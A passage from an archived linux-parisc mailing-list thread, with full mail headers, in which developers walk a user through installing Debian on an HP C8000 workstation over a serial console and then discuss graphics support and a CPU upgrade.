Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: Re: HP c8000 linux install issues, troubles and questions
Date: Tue, 29 Mar 2016 14:41:31 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <56FA77FB.6090406@gmx.de>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
 <4207644.uZSTasQYhb@caliban.sf-tec.de>
 <trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
 <CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
 <trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
 <56FA7786.6070100@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459255329 30282 80.91.229.3 (29 Mar 2016 12:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Mar 2016 12:42:09 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 29 14:42:04 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aksyB-0006Mp-DX
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Mar 2016 14:42:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751427AbcC2MmC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Mar 2016 08:42:02 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51085 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751105AbcC2MmB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Mar 2016 08:42:01 -0400
Original-Received: from [192.168.20.60] ([92.203.111.242]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0Lj25i-1aAB1u0y2Y-00dDR7; Tue, 29 Mar 2016 14:41:32
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <56FA7786.6070100@gmx.de>
X-Provags-ID: V03:K0:rISwuTfl/9Ea0NgUhfBuRcrIvLt9akmYJj/SQtcAyz8MeR64RSP
 l9cv5fDcbAyZQBaM7Y3Mfbn3O/eGIeISIF9yF9Zu9nJ0TBITt7nQbbGZr2aKKddZXn348PC
 z1t6DG1l8bBf1FvTQjt2WS4Du56N7JEYoxo9FHoSiID9ATg/w0szwoTe8eaEkkk9L+m4jX7
 ZhaTG/8Wrm7CGig1Tv2LA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:BZo/zp8Hc6c=:OlxWTA0CBtHV5diHRvcYz5
 LDFiXYYxwOCPGXxNoDE2UIbuX9/nJZfM42LYk4CyQbZMTKsh4bnJvraH65zOHZkxE2i5QeH6U
 Yk+/kQ8BC2zL0q5v1lzu4G87G75dO8Sw8uSoxvuqT1gDRgKwEV4KFnisV4WPLTTHqz0OnTehi
 Ww+eU4eyOhuSZWVn4savjxb/8FN/j5u2lRRps5w+Ujmce332I5/hu3v9rvJOtwnNPYsz9T2Ff
 hUTx8D/f/7D/9eBU4G7u8pmEOqzzQ+KTMuPxaASb/0d0wsnVUwnyTieETwE3qMFVn1pkhrAp/
 pir/t8ID9OKI97Rp4At2jU/fIPBmy5dIhWm7vqdZfo9BRcyPiZxihWs9tgnREvrKwL3U0swtT
 0slhoNKBeYzMNa429h9DFj3dsmi9l6c3hyZDFCLp2SAj1josv6FAvdv4Ql3TJ73lAmrSzHNHP
 hDaAfIEOnwNBNnLXPTfEanteBreu4RHbLz/tFbHCh/Q3oL7jUrPs2uoj/G2CNniVBA1+Ypu4/
 /+6Gt32tqMJAHQXrkYI0vnkTxsNz7c5rJfKOHl1dNVutTD6S0S7cSDr/7j0Lc8/clCIdIv93E
 QOemVQSpZ3OyAzapNL3kyLyBJM3vYSrxuJGfnRcCvlt0Tjfd9S+zcqxYRmuNn8+jl5Fm92eKv
 VNMskgOmNGGHbh+N6YpPj+ZtolfR4r+nNG0igDySZ6yuzuZYXUN1yh09ZOY8N/oINff2dBCai
 zsJf1jHUVs3SlqxajS/Y4q273jvKPlnYq7fNpnJF7Z73zkwDW0nW3uY+8C3UyjkZcJ+O2tYa 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26553
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26553>

On 29.03.2016 14:39, Helge Deller wrote:
> On 29.03.2016 12:01, Helge Deller wrote:
>> Here is the manual for the C8000:
>> https://parisc.wiki.kernel.org/images-parisc/1/18/HP_C8000_Manual.pdf
>>
>> This is how you should do it:
>> 1. Power *off* the C8000 first.
>> 2. Plug out the graphics cable and keyboard cable.
>> 3. Power *on* the C8000
>> 4. It will show POST messages on the serialA, detect that the cables were plugged and present the "Main Menu" on the serial port
>> (see page 2-4 in the PDF)
>> 5. With the "PATH" command, you can see the current console/keyboard paths.
>> 6. Make sure, that the "console path" is not "graphXYZ" and the "keyboard path" is not "USB_XYZ".
>> Instead run "path console serial0"  (or "path console serialA" - please check!).
>> 7. After setting the console path to serialA, boot from the CD/DVD.
> 
> Just for the record - this is what my C8000 shows in the "Main Menu":
> 
> Duplex Console IO Dependent Code (IODC) revision 1
> ------------------------------------------------------------------------------
>    (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved
> ------------------------------------------------------------------------------
> 
>   Processor   Speed            State           CoProcessor        Cache Size
>   Number                                       State              Inst    Data
>   ---------  --------   ---------------------  -----------------  ------------
>       0       900 MHz   Active                 Functional         32 MB/32 MB
>       1       900 MHz   Idle                   Functional         32 MB/32 MB
> 
>   Central Bus Speed (in MHz)  :        200  
>   Available Memory            :    8388608  KB
>   Good Memory Required        : Not initialized. Defaults to 32 MB. 
> 
>    Primary boot path:    scsiA.5             
>                          0/2/1/0.5           
>    Alternate boot path:  lan.0.0.0.0
>                          0/3/3/0             
>    Console path:         graph3
>                          0/4/0/0.0           
> 
>    Current Console path: serial_A.643        
>                          17.643              
>    Keyboard path:        usb0
>                          0/3/1/0.0           
>    Keyboard path ignored for serial consoles.
> 
> 
>  WARNING:  No usable graphics console was found on this system.  It
>            may be that no graphics card is present, the graphics card
>            is not functioning properly, or no USB keyboard is connected.
>            The console has defaulted to a serial port.
> 
> 
> If you choose "serial_A" as console path it should work (I don't use the graphics card either). 

By the way, the PALO boot loader will automatically add "console=ttyS0" to the kernel command line in that case.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: Re: HP c8000 linux install issues, troubles and questions
Date: Wed, 30 Mar 2016 06:59:42 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <CACrbsaD5qP5e99=47j4E+-vq0V1DKDytqzHVakHeH7DJ_-K+5w@mail.gmail.com>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
	<4207644.uZSTasQYhb@caliban.sf-tec.de>
	<trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
	<CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
	<trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
	<56FA7786.6070100@gmx.de>
	<56FA77FB.6090406@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459313991 11149 80.91.229.3 (30 Mar 2016 04:59:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Mar 2016 04:59:51 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 30 06:59:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1al8EL-00037d-Nf
	for glpp-linux-parisc@plane.gmane.org; Wed, 30 Mar 2016 06:59:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752182AbcC3E7p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Mar 2016 00:59:45 -0400
Original-Received: from mail-ig0-f171.google.com ([209.85.213.171]:33051 "EHLO
	mail-ig0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752086AbcC3E7n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Mar 2016 00:59:43 -0400
Original-Received: by mail-ig0-f171.google.com with SMTP id ma7so53649860igc.0
        for <linux-parisc@vger.kernel.org>; Tue, 29 Mar 2016 21:59:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=cmhu/1TUto4PlO1RLF3PRk/hT+IDQOTYvQ8slS1zsKo=;
        b=dknGEyMGrFajOYT2hxpsXswhkxLscM7hP9GnuVkTRC6PTEtxl3RG7noMcm5DDNUH+F
         MXtEIHMnkNLT/BKhLJcuCgm/lwDhIJDtGhHENCbJagFmRjcYd5S2yzeiAvxkTjFB/OWy
         LhgngNd0yur1znE1yPDtgjgoUgyctuAvW9szEhsTKwf1FMKa0itUEZLXpCiSC1GGoiwS
         PliCHFiR2lzBdXNG0uf/v9ryOBWtLXZBkWFX1/dCcLKBTdopAzubok2Pp7ThdGYjg9F8
         k8ByJBK34fERN7IbFOL2MW3evzhDeJ7ZHzgxIwDFifkgP0FuLM7OnbRcufsobKZl6Pmg
         +FIw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=cmhu/1TUto4PlO1RLF3PRk/hT+IDQOTYvQ8slS1zsKo=;
        b=LFA5jXgE2RTyO2dKvBkyuIfeCZcRnvHGSwovEclvimyGyNKLZ8jRfeCu2XRKzdzNez
         NTtUGzSBYg8YZghuzDsOFXrc/Mg7VziW0U6jlk+NzeerE+/WYg6MeKz89FGkzvy9COOJ
         h+TkZhGkGbEw33PPYddP3Ikq4ayNcpVLiDV3ejn1ldWCbqsLGq+8jqf853oI7ZZ7Z+la
         NhUSYiK8L7IFkMHz1+JUjFuFiPpwPCUoB2stvVbYEhVPSfIJVuY5CfrvlSD+wmmwipcy
         LHLLq53Zy4YrREFl9OqGa9kfEfx25u0olWXivoduc1RFf+pObVhQ24A1mZ9bG5KWzxLU
         MCpQ==
X-Gm-Message-State: AD7BkJKbDKOFMB+453kYcOhVDQ58JFMM19OFcGA52dzyRVyxr2hIxZnlNXa6rlJHdHYajtMJcPD4MFuEhoSKBg==
X-Received: by 10.50.112.10 with SMTP id im10mr7419516igb.93.1459313982572;
 Tue, 29 Mar 2016 21:59:42 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Tue, 29 Mar 2016 21:59:42 -0700 (PDT)
In-Reply-To: <56FA77FB.6090406@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26554
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26554>

Success !

The key moves were disconnect keyboard and monitor first, connect to
Serial Port A and use the terminal to change default console to serial
port ("path con serial_A" command). With this configuration, all the
communication pass through to the Serial Port A and the Debian
installation runs clean and sweet.
Just to be clear for the next newbie, your Debian 8.0
_needs_internet_connection active to complete the installation The
c8000 built in Ethernet port is automatically configured with DHCP.
Hard disk partioning and formatting is also very smooth if you choose
the "easy" options (full disk,single partition).
As desktop, I choose Mate (I'm a Linux Mint fan).

I have rebooted the c8000 with a full HD monitor, keyboard and mouse
attached. With the serial terminal I have changed default console to
"graph3" (the AGP video card). Booting from the hard disk with Debian
installed open the classic login screen. The full HD monitor was
correctly detected and the resolution was the right one. Synaptic is
installed by defalt, so additional software installation is definetely
not an issue. Who said that Debian was difficult to install and
configure?

Sometime windows dragging and updating looks slow. No 2D acceleration,
frame buffer only? I don't know.

But the good news are not finished: installing "mesa-utils" I have
verified that 3D accelerated OpenGL is active and running (glxinfo is
OK and glxgears runs at 50 fps).

Thanks a lot for your very helpful guide to the installation process:
linux-parisc is one the most "newbie-friendy" mailing list of the
Linux Universe.

If you think useful, I'm available to write or update a wiki page for
Linux on the HP c8000. Otherwise, I will open a dedicated blog and
send you the link.

//**-----------------

Now, I'm fighting with a very hardware issue: the screws of the PA
CPUs are non standard hex with a center pin. I hate this things.
Yesterday evening I was ready to upgrade from a single PA-8800/900 MHz
to a dual PA-8900/1GHz when I have discovered the screw issue. Today,
I'm going to go the Forge and build a "compatible" tool. Just for my
curiosity: "Have you found a compatible tool?".

Next episode: "For a fist of MIPS". "What happen when a quad-core HP
c8000 (2 x PA-8900, 1GHz) meets a quad-core Raspberry PI 3 (ARM
Cortex-A53, 1.2 GHz) ?"

Simone Mannori  - Italy


On 29 March 2016 at 14:41, Helge Deller <deller@gmx.de> wrote:
> On 29.03.2016 14:39, Helge Deller wrote:
>> On 29.03.2016 12:01, Helge Deller wrote:
>>> Here is the manual for the C8000:
>>> https://parisc.wiki.kernel.org/images-parisc/1/18/HP_C8000_Manual.pdf
>>>
>>> This is how you should do it:
>>> 1. Power *off* the C8000 first.
>>> 2. Plug out the graphics cable and keyboard cable.
>>> 3. Power *on* the C8000
>>> 4. It will show POST messages on the serialA, detect that the cables were plugged and present the "Main Menu" on the serial port
>>> (see page 2-4 in the PDF)
>>> 5. With the "PATH" command, you can see the current console/keyboard paths.
>>> 6. Make sure, that the "console path" is not "graphXYZ" and the "keyboard path" is not "USB_XYZ".
>>> Instead run "path console serial0"  (or "path console serialA" - please check!).
>>> 7. After setting the console path to serialA, boot from the CD/DVD.
>>
>> Just for the record - this is what my C8000 shows in the "Main Menu":
>>
>> Duplex Console IO Dependent Code (IODC) revision 1
>> ------------------------------------------------------------------------------
>>    (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved
>> ------------------------------------------------------------------------------
>>
>>   Processor   Speed            State           CoProcessor        Cache Size
>>   Number                                       State              Inst    Data
>>   ---------  --------   ---------------------  -----------------  ------------
>>       0       900 MHz   Active                 Functional         32 MB/32 MB
>>       1       900 MHz   Idle                   Functional         32 MB/32 MB
>>
>>   Central Bus Speed (in MHz)  :        200
>>   Available Memory            :    8388608  KB
>>   Good Memory Required        : Not initialized. Defaults to 32 MB.
>>
>>    Primary boot path:    scsiA.5
>>                          0/2/1/0.5
>>    Alternate boot path:  lan.0.0.0.0
>>                          0/3/3/0
>>    Console path:         graph3
>>                          0/4/0/0.0
>>
>>    Current Console path: serial_A.643
>>                          17.643
>>    Keyboard path:        usb0
>>                          0/3/1/0.0
>>    Keyboard path ignored for serial consoles.
>>
>>
>>  WARNING:  No usable graphics console was found on this system.  It
>>            may be that no graphics card is present, the graphics card
>>            is not functioning properly, or no USB keyboard is connected.
>>            The console has defaulted to a serial port.
>>
>>
>> If you choose "serial_A" as console path it should work (I don't use the graphics card either).
>
> By the way, the PALO boot loader will automatically add "console=ttyS0" to the kernel command line in that case.
>
> Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re:  Re: Re: HP c8000 linux install issues, troubles and
 questions
Date: Wed, 30 Mar 2016 11:59:45 +0200
Lines: 155
Approved: news@gmane.org
Message-ID: <trinity-13a381d1-e1fb-42af-8cd9-4197fe95fdfd-1459331985395@3capp-gmx-bs41>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
 <4207644.uZSTasQYhb@caliban.sf-tec.de>
 <trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
 <CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
 <trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
 <56FA7786.6070100@gmx.de> <56FA77FB.6090406@gmx.de>,
 <CACrbsaD5qP5e99=47j4E+-vq0V1DKDytqzHVakHeH7DJ_-K+5w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459332026 26288 80.91.229.3 (30 Mar 2016 10:00:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Mar 2016 10:00:26 +0000 (UTC)
Cc: "Rolf Eike Beer" <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: "Simone Mannori" <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 30 12:00:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alCvC-00013p-4F
	for glpp-linux-parisc@plane.gmane.org; Wed, 30 Mar 2016 12:00:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751780AbcC3KAR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Mar 2016 06:00:17 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50790 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751701AbcC3KAP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Mar 2016 06:00:15 -0400
Original-Received: from [155.56.68.215] by 3capp-gmx-bs41.server.lan (via HTTP); Wed,
 30 Mar 2016 11:59:45 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <CACrbsaD5qP5e99=47j4E+-vq0V1DKDytqzHVakHeH7DJ_-K+5w@mail.gmail.com>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:B5jiJOt5BEnZCvZFrB17Qz4S2RL8gw+gI03JTjOVpsC
 IQvj5W8yfWC376ynRnukn5k9oehvOomo9/WR7Pty9q7X0sroxD
 K9PwSfcMhoOFPewJa+x4/k9BkrQPZEAtmPIl2IStEA/7PeLfXa
 HneqsN5Lv8hyPmrcG/K86nSz3vDDdkhBUEwxJM/zrSepzfNsu/
 12i+WNQbb/dAh01J+p5MJug1/JlGtOioVkdKUD1YwF314SOtwD
 pLdvCivUZiCfQbTHeZApodAkjmg15LVRc0LqMssa6LqRF4rGe+ HAAE8M=
X-UI-Out-Filterresults: notjunk:1;V01:K0:9DNI+sC19N0=:ZGYx+ekadOyRBPtoyHJekx
 A8BrMr56K5HgdqpuhrHz5f0EIj3Rthp2tIT6+3IrDnCH8kIH/EH4YPwYOH0pdyfwU3jEKckD8
 6mCkwN+0lCRs6xzQ+2RlF4dVzkG3LGRRzktLwI4uRplHnZ3pdGyIuw9wE2fsHhqBdDakYDsJ0
 a418sq3tDAvh45inv2PWyZvaXoIdXhC75GeOwrrfU3oXEQPSAg5tE7vAC/qmmATm5se6ox3mA
 6l0IErC9hMlb1C8z01d2Y1kdK9an4iDjwUpC1816dPwDYmy6huqeNaYwpCNRyoF/TizLZCdqa
 CGYH8L0hvjywiXddYUtiqJAHy5xTMGDnb5/JCHXLTczARCXxMsBcPZEAisx3utFlAnPyy23Zl
 xUiRxikBW0XdUs98Y8xfU5nQDf6T58tanmY10vOODJdPbJuUHojsg66us/ZD1cJTZN7Rnh3LY
 +fM8q+pXxg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26555
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26555>

Hi Simone,

> Success !

Great!

> The key moves were disconnect keyboard and monitor first, connect to
> Serial Port A and use the terminal to change default console to serial
> port ("path con serial_A" command). With this configuration, all the
> communication pass through to the Serial Port A and the Debian
> installation runs clean and sweet.

Just for the record:
The C8000 is the ONLY parisc machine where you have to install debian
via serial console. ALL OTHER machines can be installed the usual way
with monitor and keyboard.

> Just to be clear for the next newbie, your Debian 8.0
> _needs_internet_connection active to complete the installation The
> c8000 built in Ethernet port is automatically configured with DHCP.

Yes, the current install images need network connection.
I did something wrong when I created them, but we are planning to build
new install images soon which won't require network connection.

> Hard disk partioning and formatting is also very smooth if you choose
> the "easy" options (full disk,single partition).
> As desktop, I choose Mate (I'm a Linux Mint fan).
> 
> I have rebooted the c8000 with a full HD monitor, keyboard and mouse
> attached. With the serial terminal I have changed default console to
> "graph3" (the AGP video card). Booting from the hard disk with Debian
> installed open the classic login screen. The full HD monitor was
> correctly detected and the resolution was the right one. Synaptic is
> installed by defalt, so additional software installation is definetely
> not an issue. Who said that Debian was difficult to install and
> configure?
> 
> Sometime windows dragging and updating looks slow. No 2D acceleration,
> frame buffer only? I don't know.

Yes, currently it's unaccelerated frame buffer only.
 
> But the good news are not finished: installing "mesa-utils" I have
> verified that 3D accelerated OpenGL is active and running (glxinfo is
> OK and glxgears runs at 50 fps).

I'm wondering here. So it seems the ati userspace driver seems to 
correctly initialize the 3D engine ?
 
> Thanks a lot for your very helpful guide to the installation process:
> linux-parisc is one the most "newbie-friendy" mailing list of the
> Linux Universe.
> 
> If you think useful, I'm available to write or update a wiki page for
> Linux on the HP c8000. Otherwise, I will open a dedicated blog and
> send you the link.

It would be great if you could write it up in the wiki.
Please request an account here:
https://parisc.wiki.kernel.org/index.php/Special:RequestAccount
I will then give you permissions to our wiki.

> //**-----------------
> 
> Now, I'm fighting with a very hardware issue: the screws of the PA
> CPUs are non standard hex with a center pin. I hate this things.
> Yesterday evening I was ready to upgrade from a single PA-8800/900 MHz
> to a dual PA-8900/1GHz 

I'm not sure if this will simply work. I was looking at the idea myself
once, and googling for that it seems that some firmware update needs to
be done in order for the machine to accept the additional CPU.
If you do it, please let us know...

> when I have discovered the screw issue. Today,
> I'm going to go the Forge and build a "compatible" tool. Just for my
> curiosity: "Have you found a compatible tool?".
> 
> Next episode: "For a fist of MIPS". "What happen when a quad-core HP
> c8000 (2 x PA-8900, 1GHz) meets a quad-core Raspberry PI 3 (ARM
> Cortex-A53, 1.2 GHz) ?"
> 
> Simone Mannori  - Italy

Helge


> 
> 
> On 29 March 2016 at 14:41, Helge Deller <deller@gmx.de> wrote:
> > On 29.03.2016 14:39, Helge Deller wrote:
> >> On 29.03.2016 12:01, Helge Deller wrote:
> >>> Here is the manual for the C8000:
> >>> https://parisc.wiki.kernel.org/images-parisc/1/18/HP_C8000_Manual.pdf
> >>>
> >>> This is how you should do it:
> >>> 1. Power *off* the C8000 first.
> >>> 2. Plug out the graphics cable and keyboard cable.
> >>> 3. Power *on* the C8000
> >>> 4. It will show POST messages on the serialA, detect that the cables were plugged and present the "Main Menu" on the serial port
> >>> (see page 2-4 in the PDF)
> >>> 5. With the "PATH" command, you can see the current console/keyboard paths.
> >>> 6. Make sure, that the "console path" is not "graphXYZ" and the "keyboard path" is not "USB_XYZ".
> >>> Instead run "path console serial0"  (or "path console serialA" - please check!).
> >>> 7. After setting the console path to serialA, boot from the CD/DVD.
> >>
> >> Just for the record - this is what my C8000 shows in the "Main Menu":
> >>
> >> Duplex Console IO Dependent Code (IODC) revision 1
> >> ------------------------------------------------------------------------------
> >>    (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved
> >> ------------------------------------------------------------------------------
> >>
> >>   Processor   Speed            State           CoProcessor        Cache Size
> >>   Number                                       State              Inst    Data
> >>   ---------  --------   ---------------------  -----------------  ------------
> >>       0       900 MHz   Active                 Functional         32 MB/32 MB
> >>       1       900 MHz   Idle                   Functional         32 MB/32 MB
> >>
> >>   Central Bus Speed (in MHz)  :        200
> >>   Available Memory            :    8388608  KB
> >>   Good Memory Required        : Not initialized. Defaults to 32 MB.
> >>
> >>    Primary boot path:    scsiA.5
> >>                          0/2/1/0.5
> >>    Alternate boot path:  lan.0.0.0.0
> >>                          0/3/3/0
> >>    Console path:         graph3
> >>                          0/4/0/0.0
> >>
> >>    Current Console path: serial_A.643
> >>                          17.643
> >>    Keyboard path:        usb0
> >>                          0/3/1/0.0
> >>    Keyboard path ignored for serial consoles.
> >>
> >>
> >>  WARNING:  No usable graphics console was found on this system.  It
> >>            may be that no graphics card is present, the graphics card
> >>            is not functioning properly, or no USB keyboard is connected.
> >>            The console has defaulted to a serial port.
> >>
> >>
> >> If you choose "serial_A" as console path it should work (I don't use the graphics card either).
> >
> > By the way, the PALO boot loader will automatically add "console=ttyS0" to the kernel command line in that case.
> >
> > Helge
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: Re: Re: HP c8000 linux install issues, troubles and questions
Date: Wed, 30 Mar 2016 15:54:46 +0200
Lines: 218
Approved: news@gmane.org
Message-ID: <CACrbsaDLO+BbHNqR2hH18JBxPo64aTW0XzTCOb1JNPc=aVjgtA@mail.gmail.com>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
	<4207644.uZSTasQYhb@caliban.sf-tec.de>
	<trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
	<CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
	<trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
	<56FA7786.6070100@gmx.de>
	<56FA77FB.6090406@gmx.de>
	<CACrbsaD5qP5e99=47j4E+-vq0V1DKDytqzHVakHeH7DJ_-K+5w@mail.gmail.com>
	<trinity-13a381d1-e1fb-42af-8cd9-4197fe95fdfd-1459331985395@3capp-gmx-bs41>
	<CAFk90B9NiwRGLpmtvcut6YVOoT8biirAvHO7XEW+mBNnpbtd+w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459346110 1644 80.91.229.3 (30 Mar 2016 13:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Mar 2016 13:55:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Graham Gower <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 30 15:55:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alGaR-0007SA-CO
	for glpp-linux-parisc@plane.gmane.org; Wed, 30 Mar 2016 15:55:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752921AbcC3NzH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Mar 2016 09:55:07 -0400
Original-Received: from mail-io0-f177.google.com ([209.85.223.177]:33811 "EHLO
